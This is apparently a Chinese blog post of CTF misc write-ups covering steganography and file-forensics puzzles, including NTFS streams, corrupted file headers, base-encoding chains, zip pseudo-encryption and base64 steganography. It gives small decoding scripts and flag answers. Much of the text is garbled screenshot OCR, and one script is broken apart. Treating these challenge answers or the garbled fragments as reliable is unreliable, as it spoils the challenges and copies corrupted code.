Alpha 🗌 7 🗌 6 🛄 5 🛄 4 🛄 3 🛄 2 🛄 1 🛄 0	Extract By 🖲 Row 🔾 Column
Red 7 6 5 4 3 2 1 🖌 0	Bit Order 🔾 MSB First 💿 LSB First
Green 7 6 5 4 3 2 1 🗸 0	Bit Plane Order
Blue 7 6 5 4 3 2 1 0	○ RGB ○ GRB
Preview Settings	
Include Hex Dump In Preview	GBR • BGR
Preview Save Text	Save Bin Cancel CSDN @五五六六0524

扔进winhex里发现多了个开头

Ш	1 0	-																
	Offset	0	1	2	3	4	- 5	6	7	8	- 9	Α	В	C	D	E	F	^
Γ	00000000	FF	FE	89	50	4E	47	OD	ΟA	1A	ΟA	00	00	00	OD	49	48	ÿp∎PNG IH
L	00000010	44	52	00	00	01	18	00	00	00	8C	08	02	00	00	00	08	DR I
L	00000020	EC	7E	DB	00	00	05	9C	49	44	41	54	78	9C	ED	DD	51	ì~Û ∥IDATx∣íÝQ
L	00000030	6A	1C	ЗB	14	40	С1	38	64	FF	5B	76	16	10	14	50	38	j ; @Á8❸灯M @₱8五六六0524
l	00000040	27	00	FC	λλ	ΠĒ	27	λΓ	חח	r r	C 1	4.1	۵n	оD	ъи	25	75	7/3077∜4≅λ ∎Λο~

删掉之后,得到半张二维码,扔进winhex里改个高度,得到一整张二维码



扫一下得到一个网盘链接,下载出来一个安装包,用winrar解压得到flag.txt

flag不在这里哦 你猜猜flag在哪里 呢? 找找看吧 csDN @TEXtX0524

NTFS文件流隐写,把flag.txt放进一个文件夹,用NtfsStreamsEditor扫描得到一个pyc文件

NtfsStreamsEditor 2 正式发布(20090510更新到2.0.2)_原创工具区_安全区 卡饭论坛 - 互助分享 - 大气谦和!

NSE N	NtfsStreamsEditor2				_		×							
N	Ntfs数据流处理工具													
- 选择 - 选择 ● 搜索约	技索 	流处; 建工具 数据流名称匹配 * ~	▶ 搜索	停止		by XGC	2							
*	文件	数据流名称	大小(字节)	可疑度(0-5)										
	C:\Users\86139\Desktop\flag\flag.txt:flag.pyc	flag.pyc	755	1										
	〔 刪除 ─ 附加 +/ 导入 <	〔 备份 >>	还原<<		导出列表									
导出	结果:共1个;成功1个;失败0个;用时0.000 s			CS	DN @五五	ī六六c	524							

反编译得到

```
# Embedded file name: flag.py
import base64
def encode():
    flag = '**********
    ciphertext = []
    for i in range(len(flag)):
       s = chr(i ^ ord(flag[i]))
       if i % 2 == 0:
            s = ord(s) + 10
        else:
            s = ord(s) - 10
        ciphertext.append(str(s))
    return ciphertext[::-1]
ciphertext = ['96',
 '65',
 '93',
 '123',
 '91',
 '97',
 '22',
 '93',
 '70',
 '102',
 '94',
 '132',
 '46',
 '112',
 '64',
 '97',
 '88',
 '80',
 '82',
 '137',
 '90',
 '109',
 '99',
 '112']
```

找的解密脚本BUUCTF misc 喵喵喵_hhh-CSDN博客_buu 喵喵喵, 出flag{Y@e_Cl3veR_C1Ever!}

```
import base64
```

decode()

ciphertext = ['96','65','93','123','91','97','22', '93','70','102','94','132','46','112','64','97','88','80
ciphertext = ciphertext[::-1]

```
def decode():
    code = ''
    for i in range(24):
        if(i%2 == 0):
            a = int(ciphertext[i]) - 10
        else:
            a = int(ciphertext[i]) + 10
        a = i ^ a
        code = code + chr(a)
    print(code)
```

题46、[MRCTF2020]你能看懂音符吗

下载得到一个rar,显示文件已损坏,扔进winhex发现文件头反了,应该是52617221

attachment.rar Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F \land 00000000 61 52 72 21 1A 07 01 00 94 E6 41 F6 OB 01 05 07 aRr! ∎æAö 00 06 01 01 95 CE 80 00 F4 00 98 0D 38 02 03 0B |Î| ô | 8 00000010 BF 3A FE 97 80 03 00 1A ÈÍ lÚ ሪ:þ∣∣ 00000020 C8 CD 00 04 86 DA 00 20 00000030 E4 BD A0 E8 83 BD E7 9C 8B E6 87 82 E9 9F B3 E7 ä½ e1%c1 æ1461°c 00000040 AC A6 E5 90 97 2E 64 6F 63 78 0A 03 02 DF F6 91 ¬¦a 1.docx Bo

改过来解压得到文档,竟然!!!不能复制,不知道出什么情况了,最后我把音符选中,然后再替换里面复制 出来了

音符解密文本加密为音乐符号,可自设密码 文本在线加密解密工具MRCTF{thEse_n0tes_Ar	⁻ E_am@zing~}
שנו לש לאפער גע אינ ענו ער ענו עפער ענ ענ ענ ענ ענ ער ער ער און ען אפעני אפער גע אינ אינ ערא אינ ען אינ וויין אינ אינ אינ אינ אינ אינ א	¶§bb≉∥♫∲∥♬¶∥¶∮
加密 解密 □使用密码	
MRCTF{thEse_n0tes_ArE_am@zing^}	CSDN @五五六六0524

题47、NTFS数据流

用winrar解压(NTFS数据流都用它),bandzip解不出来全部,得到._flag.rar和flag.rar,第一个显示文件损坏,解压第二个压缩包,扔到NtfsStreamsEditor里查这个文件夹

Sea NtfsStreamsEditor2				- 🗆 X									
Ntfs数据流处理工具													
🎼 捜索 🕐 编辑 📄 记录 😢 信息													
送择搜索类型 ○全部NTFS磁盘 ●自定义磁盘/文件(夹) C:\Users\86139\Desktop\attachm	数据流名称匹配 * ~ ~	▶ 搜索	停止										
搜索结果:共1个;用时0.031s													
* 文件	数据流名称	大小 (字节 <mark>)</mark>	可疑度(0-5)										
C:\Users\86139\Desktop\attachment\tmp\293.txt:flag.txt	flag.txt	27	1										
📡 刪除— 🛼 导出—> 附加 +/ 导入 <—	〔1番份 >>	还原<<		导出列表									
导出结果:共1个;成功1个;失败0个;用时0.000 s			CS	DN @五五六六0524									

提取出来flag.txt,得到flag,flag{AAAds_nntfs_ffunn?}

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) ACTF{AAAds_nntfs_ffunn?}

题48、我吃三明治

binwalk发现里面藏有两张图

\$ binwalk -e <u>flag.jpg</u>													
DECIMAL	HEXADECIMAL	DESCRIPTION											
0 37475	0×0 0×9263	JPEG image data, JFIF standard 1.01 JPEG image data, JFIF standard 1.01 CSDN @五五六六0524											

在010里搜FFD8,可以直接找到第二张图,发现base32编码(不要把那一串D的乱码当做标志找,有两大部分,我在winhex里死活找不着这个base32编码,还以为winhex出问题了,结果他后面还有DD什么玩意的)

		,			/,			- ,			//···	* .					
n:	44	40	44	44	04	44	40	44	44	04	44	40	44	44	04	44	D@DD.D@DD.D@DD.D
n:	40	44	44	1F	$\mathbf{F}\mathbf{F}$	D9	4D	5A	57	47	43	5A	33	33	47	5A	<pre>@DD.ÿÙMZWGCZ33GZ</pre>
n:	54	44	43	4E	5A	5A	47	35	53	44	49	4 D	42	59	47	42	TDCNZZG5SDIMBYGB
n:	52	44	45	4 F	4C	43	47	59	32	47	49	59	4A	56	48	41	RDEOLCGY2GIYJVHA
n:	34	54	$4 \mathrm{F}$	4E	5A	59	47	41	32	44	4 D	4 D	33	46	47	4D	4TONZYGA2DMM3FGM
n:	59	48	32	$\mathbf{F}\mathbf{F}$	D8	FF	$\mathbf{E}0$	00	10	4A	46	49	46	00	01	01	YH2 <mark>ÿØ</mark> ÿàJFIF
n:	01	00	48	00	48	(00)	00	$\mathbf{F}\mathbf{F}$	DB	00	43	00	06	04	05	06	H.H.).ÿÛ.C
n:	05	04	06	06	05	06	07	07	06	08	A0	10	0A	A0	09	09	
n:	A0	14	0E	0F	0C	10	17	14	18	18	17	14	16	16	1A	1D	
n:	25	1F	1A	1B	23	1C	16	16	20	2C	20	23	26	27	29	2A	⁸ μ

解码flag{6f1797d4080b29b64da5897780463e30}

😓 CaptfEncoder 跨平台网络安全工具套件		- 🗆 X
≡ CaptfEncoder	v1.3.0	À ਜ ઉ 👍 👼 🎕
Search	Home Base64 🛞	
编码转换 ^ Ascii Encodig Web Encodig Hex Encodig	Pattern Base32 T	Encode Decode
Unicode Encodig Base64 Encodig Url Encodig Html Entity Encodig Escape Encodig Quoted-printable Morse Code (莫尔斯电码)	MZWGCZ33GZTDCNZZG5SDIMBYGBRDEOLCGY2GIYJVHA 4TONZYGA2DMM3FGMYH2ÿØÿà	flag{6f1797d4080b29b64da5897780463e30}���
Tap Code (敵击码) Shellcode Encodig Uuencode Encodig Xxencode Encodig Punycode BubbleBabble		
古典密码 ^ Rail-fence (栅栏密码) Atbash (埃特巴什码)		<u></u>
Caesar (凯撒密码)		CSDN @五五六六9524

题49、john-in-the-middle

下载得到一个流量包,扔进wireshark里没有搜出来什么有用的东西,扔进kali里提取出来几张图片









00000644.png

00000656.png

CSDN @五五六六0524

第一张里面有一个旗子,flag就是夺旗嘛,扔进stegslove果然有收获,flag{J0hn_th3_Sn1ff3r}



题50、[安洵杯 2019]吹着贝斯扫二维码

解压得到一堆乱码的文件和一个flag.zip,题目说和base有关,猜想可能是文件名连在一起然后解密,得到之后发现不对

```
# -*- coding: utf-8 -*-
import os

def file_name(file_dir):
   for root, dirs, files in os.walk(file_dir):
     #print(root) #当前目录路径
     #print(dirs) #当前路径下所有子目录
     #print(files) #当前路径下所有非目录子文件
     flag=''
     for a in files:
        flag=flag+a
     print(flag)

file_dir='C:\\Users\\86139\\Desktop\\吹着贝斯扫二维码'
```

把文件扔进winhex发现是图片,全加后缀,得到一堆二维码的残片,拼的眼睛疼,最后放弃了

	🗆 🔄 🖂 🥪	98 E	= _	1	- /			- 20	凹 010			HE	× `••	В НЕХ			W.	
	3e7g7a0609>	k170)94r	n03	7													
٦	Offset	0	1	2	3	4	5	6	7	8	- 9	A	В	C	D	Е	F	^
	00000000	FF	D8	FF	ΕO	00	10	4A	46	49	46	00	01	01	01	00	60	ÿØÿà JFIF `
	00000010	00	60	00	00	FF	FΕ	00	ЗE	43	52	45	41	54	4F	52	ЗA	`ÿp ≻CREATOR:
	00000020	20	67	64	2D	6A	70	65	67	20	76	31	2E	30	20	28	75	gd-jpeg v1.0 <u>(u</u>
	00000030	73	69	6E	67	20	49	4A	47	20	4A	50	45	47	20	76	39	sing IGGD性@迪血不不0524
												- ·		- ·				

import os
path ='C:\\Users\\86139\\Desktop\\吹着贝斯扫二维码'

```
for i in os.listdir(path):
    if i == 'flag.zip':
        continue
    else:
        oldname = os.path.join(path,i)
        newname = os.path.join(path,i+'.jpg')
        os.rename(oldname,newname)
```

扫码是BASE Family Bucket ??? 85->64->85->13->16->32

工具: base编码转换-base64编码与解码-在线工具、CaptfEncoder

III

flag.zip的注释

file_name(file_dir)

GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTIK

Þ.

•

转base32

3A715D3E574E36326F733C5E625D213B2C62652E3D6E3B7640392F3137274038624148

转base16

:q]>WN62os<^b]!;,be.=n;v@9/17'@8bAH

转root13

```
:d]>JA62bf<^o]!;,or.=a;i@9/17'@8oNU
```

转base85

PCtvdWU4VFJnQUByYy4mK1IraTA=

转base64

<+oue8TRgA@rc.&+Yki0

转base85

ThislsSecret!233

解压flag{Qr_ls_MeAn1nGfuL}

题51、[ACTF新生赛2020]swp

解压得到流量包,http导出对象,得到一堆图片和一个zip,zip用winhex打开,发现0304和0102后面都是0000, 伪加密,改一下加密位00改成08

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 50 4B 03 04 14 00 00 08 00 F0 B2 3E 50 D8 E0 PK ð²>PØà 00000000 57 83 6E 09 00 00 00 00 00 00 00 00 02 26.66 WIn @ .f 000000000 6C 61 67 2E 73 77 70 ED 59 6B 6C 1C 57 15 DE D9 1ag.swpiYk1 W PÙ ôc}:aciN MisÈl 4AII 000000000 D7 AF D8 DD 50 4C BB B 34 41 49 8A ?e'YPL/ze'CIN MisÈl 4AII .c ?e'YPL/ze'CIN MisÈl 4AII ?e'YPL/ze'CIN MisÈl 4AII </th
000000000 50 4B 03 04 14 00 00 00 00 00 00 F0 B2 3E 50 D8 E0 PK δ2>PØà 00000010 57 83 6E 09 00 00 00 40 00 00 09 00 00 00 2E 66 WIn @ .f 00000020 6C 61 67 2E 73 77 70 ED 59 6B 6C 1C 57 15 DE D9 lag.swpiYk1 W PÙ 00000030 F5 63 7D 63 CF 4E 1E 4D EC 24 C8 9B 34 41 49 8A öc.cCIN MisÈI4AII 00000040 D7 AF D8 DD 50 4C BD EB 47 C6 95 9D 04 77 93 A6 ∞0ÝPL/seG4I wI; 00000050 OF 67 3C FB E2 57 EC C3 DA 9D 05 3B 80 1A E1 34 ∞0ÝPL/seG4I wI; g <u td=""> g<u ,="" d<="" td="" wia0=""> d ó2 g<u td=""> 16,384 2,414 SWP 文件 2020/1/30 22: 8357E0D8 g<u td=""> 8,241 2,329 文件 2020/1/30 22: 8357E0D8 g<</u></u></u></u>
00000010 57 83 6E 09 00 00 00 40 00 00 09 00 00 02 E 66 WIn @ .f 0000020 6C 61 67 2E 73 77 70 ED 59 6B 6C 1C 57 15 DE D9 lag.swpiYk1 W PÙ 00000030 F5 63 7D 63 CF 4E 1E 4D EC 24 C8 9B 34 41 49 8A 6c}ciT MisÈl 4AII 00000040 D7 AF D8 DD 50 4C BD EB 47 C6 95 9D 04 77 93 A6 × 0ÝPL%cG#L wI! 00000050 DF 67 3C FB B2 57 EC C3 DA 9D 05 3B 80 1A E1 34 gcu²W1AU H 64 052 发现能打开flag ↓ i.flag.swp * 16,384 2,414 SWP文件 2020/1/30 22: 8357E0D8 8,241 2,329 文件 2020/1/30 22: 8357E0D8 8,241 2,329 文件 2020/1/30 22: 1E267A74524 捜{, 直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}
00000020 6C 61 67 2E 73 77 70 ED 59 6B 6C 1C 57 15 DE D9 lag.swpiYkl W PÙ 00000030 F5 63 7D 63 CF 4E 1E 4D EC 24 C8 9B 34 41 49 8A ochochochochochochochochochochochochocho
00000030 F5 63 7D 63 CF 4E 1E 4D EC 24 C8 9B 34 41 49 8A oc}otic Cin MisÈi 4AII 00000040 D7 AF D8 DD 50 4C BD EB 47 C6 95 9D 04 77 93 A6 00000050 OF 67 3C FB B2 57 EC C3 DA 9D 05 3B 80 1A E1 34 qui rul give wild
00000040 00000050 D7 AF D8 DD 50 4C BD EB 47 C6 95 9D 04 77 93 A6 0F 67 3C FB B2 57 EC C3 DA 9D 05 3B 80 1A E1 34 文件夹 ☐.flag.swp* ☐ flag 据2 16,384 2,414 SWP文件 2020/1/30 22: 8357E0D8 8,241 2,329 文件 2020/1/30 22: 14267A74524 搜{, 直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5} ■ =看 - flag
00000050 OF 67 3C FB B2 57 EC C3 DA 9D 05 3B 80 1A E1 34 g <ur> </ur>
发现能打开flag ↓ 文件夹 ↓ .flag.swp * 16,384 2,414 SWP 文件 2020/1/30 22: 8357E0D8 ↓ flag 8,241 2,329 文件 2020/1/30 22: 8357E0D8 2020/1/30 22: 8357E0D8 2020/1/30 22: 8357E0D8 2020/1/30 22: 8357E0D8 ■ 直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}
↓ 文件夹 ↓ .flag.swp * 16,384 2,414 SWP 文件 2020/1/30 22: 8357E0D8 2020/4/30 22: 8357E0D8 2020/4/30 22: 112267A74524 搜{, 直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}
□.flag.swp * 16,384 2,414 SWP 文件 2020/1/30 22: 8357E0D8 8,241 2,329 文件 2020/1/30 22: 8357E0D8 2020/1/30 22: 112267A7Q524 搜{,直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}
□ flag 8,241 2,329 文件 2020分分 22元 12267 A7 Q 5 2 4 搜{,直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5} ■ 章雪 - flag
捜{,直接出actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}
i 查看 - flag
文件(F) 编辑(E) 查看(V) 帮助(H)
□ELF □ □ > □ 0□ @ (□ @ 8 @ □ □ @ @ @ ? ? □ □ 8 8 8 · □ □ X□ X□ □ ? ? ? X ` □ ? ? ? ? □ □ T T T D D □ Pigd□ □□ < □ Qigd□ · □ Rigd□ ? ? H H □ /lib64/ld-linux-x86-64.so.2 □ □ GNU □ □
脵??}贛f暾? □ □ = □ = □ □ □ □ □ = □ □ □ □ □ □ □ □
_gmon_startITM_registerTMCloneTable

 \times

<

H?□□

?	?	H冹□H?? H吚t 蛹	『剋□? 5? %?□	@ %?h 歃	%? f? 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	200
H?? □? ? D H?? UH?? H9鳫欠t□H?Z						
H吚t						
] 鄁.□ ?]? @f.□ ? H?i						
H?b						
UH)臈夂H窿□H夝H						
H吚t						
] 鄁□ ?]? @f.□ ? €=□						
u/H?? UH欠t			_			_
H?? ?	╡ <u>UH欠H??</u> 杵	? ?]胒.口 ? 🗆	D AWAVI壹AUATL	<u>?F□</u> UH?F□ SA夶I些L)錒	诙□H笼□鏪? H呿t 1? ? L卆L夦	D夛
A □ 躈兆□H9輚闔兡□[]A\A]A^A_脨f.□ ? 竺 H	H泼□H剋□? □	actf{c5558bcf-26da-4	lf8b-b181-b61f3850b9	e5} □□□;8 □ 忑	?	
???Т&;!!!!!!						
w⊔€?⊔;*3\$" ⊔ D X? ⊔ \ ∠? ⊔	ALL?C					
	口些。2	n n n	2			
			t			
			2		202 0 7 20	2
	······································				intu 7 5 0-3ubuntu 1 ~ 18 04) 7 5 0	, .
			пп`п		?	
						~
8,241 字节					Windows安东西六フ	六0524

swp放到linux是一个隐藏文件(Is -a, swp文件确实存在), linux下非正常退出vi编辑文本后会自动生成.swp文件使用vim -r 文件名恢复flag文件

BUUCTF Misc(二)-布布扣-bubuko.com

题52、[GXYCTF2019]SXMgdGhpcyBiYXNIPw==

题目base64解码Is this base?,解压得到一个flag.txt,base64直接解不对

Base64 Encoding			Encode	Decode
Pattern Base64 💌				
Q2V0dGUgbnVpdCwK SW50ZW5hYmxlIGluc29tbmllLAp= TGEgZm9saWUgbWUgZ3VldHRILAo= SmUgc3VpcyBjZSBxdWUgamUgZnVpcwp= SmUgc3ViaXMsCt== Q2V0dGUgY2Fjb3Bob25pZSwK UXVpIG1IIHNjaWUgbGEgdOmUmnRILAp= QXNzb21tYW50ZSBoYXJtb25pZSwK RWxsZSBtZSBkaXQsCo== VHUgcGFpZXJhcyB0ZXMgZGVsaXRzLAp= UXVvaSBxdSdpbCBhZHZpZW5uZSwK T24gdHJh5Y2vbmUgc2VzIGNoYeWNr25lcywK U2VzIHBlaW5lcywK SmUgdm91ZSBtZXMgbnVpdHMsCm== QSBsJ2Fzc2FzeW1waG9uaWUsCl== QXV4IHJlcXVpZW1zLAr= VHVhbnQgcGFyIGRlcGl0LAq=	•	Cette nuit, Intenable insomnie, S DH • • • PHDYH • • Y] • CK • • R • gV • 0 •) • • • • • • • • • •]ZH • YH • • • YH • OH ::e& • K • & & • • • • • • • V • • R • • R • tes delits, T] [• H •]I • [• • Y • • Y[• • K • • • • • cK • • • • • • • • • • [• • • • • • • • • GV • • • • • • • • • • • • • • • • • • •	 ♦R□7V ♦21 □♦□76 ♦ F♦B ♦ ♦ Tu ♦yck^XH□♦\ ♦YH□Y\ ♦YH□Y\ ♦YH□Y\ ♦Q]□□]^□ ♦U]□\$\ 	

-CSDN @ <u>五五</u>六六0524

base64隐写base64隐写解密代码 Root 5476-CSDN博客 base64隐写解密

```
. . .
base64隐写解密
...
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag=''
with open('C:\\Users\\86139\\Desktop\\flag.txt','r') as f:
    for line in f.readlines():
        line=line[:-1]
        num=line.count('=')
        if num == 0 :
            continue
        lastchar = line[-(num+1)]
        #print(line,num,lastchar)
        myindex = base64chars.index(lastchar)
        #print(myindex)
        bin_str = bin(myindex)[2:].zfill(6)
        #print(bin_str)
        flag+=bin_str[6-2*num:]
        #print(bin_str[6-2*num:])
print(''.join([chr(int(flag[i:i + 8], 2)) for i in range(0, len(flag), 8)]))
```

```
直接出GXY{fazhazhenhaoting}
```